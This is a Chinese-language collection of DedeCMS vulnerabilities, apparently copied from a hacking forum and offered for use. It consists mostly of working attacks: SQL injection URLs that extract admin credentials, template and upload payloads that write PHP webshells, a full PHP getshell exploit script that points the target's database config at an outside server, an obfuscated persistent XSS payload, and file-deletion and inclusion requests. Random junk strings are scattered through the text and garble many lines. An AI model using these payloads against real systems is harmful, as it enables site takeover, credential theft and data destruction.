dedecms漏洞总结

admin

+ R- n- H" Y+ q  v5 }, i. F& O( LDedecms 5.6 rss注入漏洞
$ ]: Y! Y4 [# ~5 Y# b+ C$ s- o( vhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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  k# L5 I6 m/ \) B, R% ODedeCms v5.6 嵌入恶意代码执行漏洞
) ], Z( v5 s  w( t注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
' _) R- G" b7 e" {* z# M5 i6 la{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
* D, |. q; \8 y5 K生成x.php 密码xiao，直接生成一句话。
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Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
0 @. I! J& O  V9 Ghttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
+ l% U* @% N- q4 n2 _0 P. e$ T& Uhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! j6 Q; U/ |3 h! R& r4 q" R+ L5 rhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
- f( q7 u& H$ ~: U6 K/ a5 ^3 _3 _http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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0 V1 i  K; r1 `* o# }; L$ [: |2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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http://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
* K) n$ G3 M$ ]9 @" {+ [#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
0 Y8 `" F0 M2 f& G4 x. R( v9 w& x8 pDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
8 h7 ?( N. `- W% zecho "\r\n";
if($argv[2]==null){
0 l# l8 n$ Z1 m3 @8 B' s4 @, vprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
/ k9 U+ B: c8 v2 _8 w5 O: W/ C; r$ U# [Example:
php '.$argv[0].' www.site.com 1 old
2 \' ?7 f5 x/ n8 `/ h  j+---------------------------------------------------------------------------+
3 G. J/ c# k/ `- N7 O% \# b/ H');
exit;
}
  y+ p1 B' F9 @. ^% W/ M3 f! n$url=$argv[1];
4 a+ z' j* Y9 V) O$aid=$argv[2];
# [, N3 ]. ~2 L! i' P! T& _$path=$argv[3];
$exp=Getshell($url,$aid,$path);
8 @$ Q6 l$ h5 _8 v- bif (strpos($exp,"OK")>12){
echo "
2 W+ o8 v# `* ^8 pExploit Success \n";
! K8 |4 p# q' z8 j3 ]5 Rif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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/ ~" ?4 m/ H5 X5 L1 b# E& _: xif($aid==2)echo "
7 J* H. T  B) m" h2 R. c* \Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
9 J! T+ Y( `' ?, O- Z! ?* OShell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
! k- d8 v2 j' cExploit Failed \n";
}
/ m+ E" |  m, T# S1 _: Efunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
: P" U/ l. o, @, ]. b0 U$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
- i+ m6 l& j$ y: B0 o% V% |$ t$ock=fsockopen($host,$port);
: {# i# M0 k9 h9 tif (!$ock) {
6 ~2 d# F( ?2 c0 Cecho "
5 i- X$ r( x+ xNo response from ".$host."\n";
}
$ {' s, [- _9 B  p  tfwrite($ock,$data);
while (!feof($ock)) {
+ i& X# i8 U9 c! K3 V$exp=fgets($ock, 1024);
2 R* ]  V# v$ T0 P+ c: p  Xreturn $exp;
. U1 x6 j5 _4 L( Z. @# x* K4 j/ v}
}

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- D  {# D- F& L" m6 u/ uDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
' W, L) F0 O: ^& r7 x' Nhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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' O6 n1 _! K9 }  b, r) O: g把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现
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7 b; U3 e; Z4 ]7 r: B6 v8 uDedecms织梦 标签远程文件写入漏洞
8 @! D& u( g' J; t0 y前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
4 D0 U+ y4 o. f  P3 j<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
4 n: i* z+ y) [$ R9 C# ?<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
$ K' i0 h  n8 R<input type="text" value="true" name="nocache" style="width:400">
5 S4 O# l" g5 Y) n<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
' S! w2 V1 y( k( K<script>
# ~8 `3 U# [. s. p6 yfunction addaction()
# \! Q8 ~: L! E' ~0 F+ f0 w{
document.QuickSearch.action=document.QuickSearch.doaction.value;
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7 ^) D  N, u, I* `2 ?</script>

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+ q9 D2 l9 _# M. c$ n" wDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
' [, s2 @! `1 y2 o* J1 qDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
0 ~" v- g3 y# }6 n- W& Z$ U{dede:name runphp='yes'}
& ~9 {) Q- i+ h$ X/ x( O$fp = @fopen("1.php", 'a');
8 V/ d2 x7 L& Q/ k$ _2 [@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
; p: f# X# M; y2 @5 b. U@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
2 Y( d1 P6 {; }<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
" E0 k9 h6 C1 ~<input type="hidden" name="dopost" value="save" />
2 k1 {  C, r, s8 [! D<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
# ?. b7 B* b4 F1 e5 R  Y5 v<input type="hidden" name="channelid" value="1" />
) w; q- d) v& O* Q: p# J- o0 T, ~<input type="hidden" name="oldlitpic" value="" />
" L, r: h, D  ~7 t<input type="hidden" name="sortrank" value="1275972263" />

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6 o9 \, b0 Z7 J" ?<div id="mainCp">
& a! U# X; D$ |" p<h3 class="meTitle"><strong>修改文章</strong></h3>
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5 X9 G0 F! T, @1 S- L9 X# K' b) f<div class="postForm">
! h5 i% u! e9 B# p- P' k<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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$ r. h) m! s5 n, L7 L3 x<label>标签TAG：</label>
' ~% M1 t5 F/ x5 w- L<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

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8 D7 T$ i- I* z/ l1 @* K6 r<label>隶属栏目：</label>
<select name='typeid' size='1'>
9 L5 m6 H% q/ |2 V4 ]: I' s1 G<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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8 N+ n; S5 i( Y9 S/ ?<label>我的分类：</label>
% a! q6 _! v* t<select name='mtypesid' size='1'>
6 F- u: ^% `! N<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
6 I: R; ]" N* l; u/ v</select>

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<label>信息摘要：</label>
1 d  [% M% D7 Y/ a8 U; j& j<textarea name="description" id="description">1111111</textarea>
" h+ @" c! n/ X* m(内容的简要说明)

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. H0 k1 J3 Z  V<label>缩略图：</label>
2 y# {% O- x- T" ~<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


( K+ e0 `7 {! _; x; d5 k<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
% F' ?# M, E, H" A5 P% Z) g' d<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
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3 ]  L" i4 m) A0 d* e6 n  F<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
5 n5 _3 m) M* E: U4 M# Q& y9 M, V<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
6 v6 [# n( ^/ l4 ^( E<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
  Y1 S% X# ?" ]7 q' ^5 B' G# D<button class="button2 ml10" type="reset">重置</button>
</div>
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4 l! `# [' A/ k0 ^9 Y</div>


</form>
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: j4 a& ~8 b2 w# I提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
. B% i( C7 r! ?% `# Ghttp://127.0.0.1/dede/plus/view.php?aid=2
6 g) T$ ?0 L$ s即可以在plus目录下生成webshell：1.php


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  Y! C2 T" Z- jDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
5 ^# P/ E  x9 Y2 B' X, LGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
% M$ _9 W! y1 e! @: i9 B{/dede:field}
$ o7 l4 x8 r0 m7 j, e, X保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
9 C7 j$ @, u# B<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
! T+ J# T8 r$ j; ?& m' s  y+ H<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
+ T* S% A* e& n* p6 ~. l  M% `</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
) `1 u5 S- w/ I2 W/ K<input type="hidden" name="dopost" value="save" />
, V6 N6 m+ g% \5 L- G<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
4 ~/ q% o7 Y. u( ^( B' U7 r- _( ?( u; L6 M<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
: B  l- i  P# N3 r6 [( s<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
2 d. O$ L; B( [  w3 o<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
, Y$ Y& a. g2 ~. l7 i! \  C2 m; v<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
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织梦(Dedecms)V5.6 远程文件删除漏洞
& Q2 k* W- [2 vhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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" K; t& ]& y- f: ]0 u+ O7 P9 y织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
( t7 G0 j! J. V4 w( a, bhttp://www.test.com/plus/carbuya ... urn&code=../../
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/ u. {! V4 v) {1 nDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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. {+ E% _) @  G/ l" X织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
- r! q# \' R$ l3 g% f, vhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
7 H& T% N( Z8 Z4 l( R& d' n<html>
9 u7 v0 z2 C' W) E- z<head>
) ^  c( z+ R8 r' J9 T8 A<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
$ |: @0 Y# v5 h( s& \<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
2 [! v6 K$ c# m<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
/ ]3 k2 L7 e6 v) s+ T: v3 r" h<input type='hidden' name='cfg_mediatype' value='php' />
3 l: ^3 D* l. q( ?! A0 l<input type='hidden' name='f' value='form1.enclosure' />
, R$ `( [* y1 c1 v$ W<input type='hidden' name='job' value='upload' />
5 D( A& H8 J( V, ^<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
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<br />It's just a exp for the bug of Dedecms V55...<br />
6 l0 h  w" d, S7 }Need register_globals = on...<br />
  k  L2 B9 ?. d, nFun the game,get a webshell at /data/cache/fly.php...<br />
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6 h5 X- G) d* K$ ^织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
  b$ O. y, H! O# P" _1 d5 O8 ^. J% nhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
8 ~2 [" ]4 z) P) j- k- t0 @int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

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; }  |. F, H) f* D! i7 N<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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按确定后的看到第2步骤的信息表示文件木马上传成功.

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
% _; v; Z1 x# J. a/ [http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*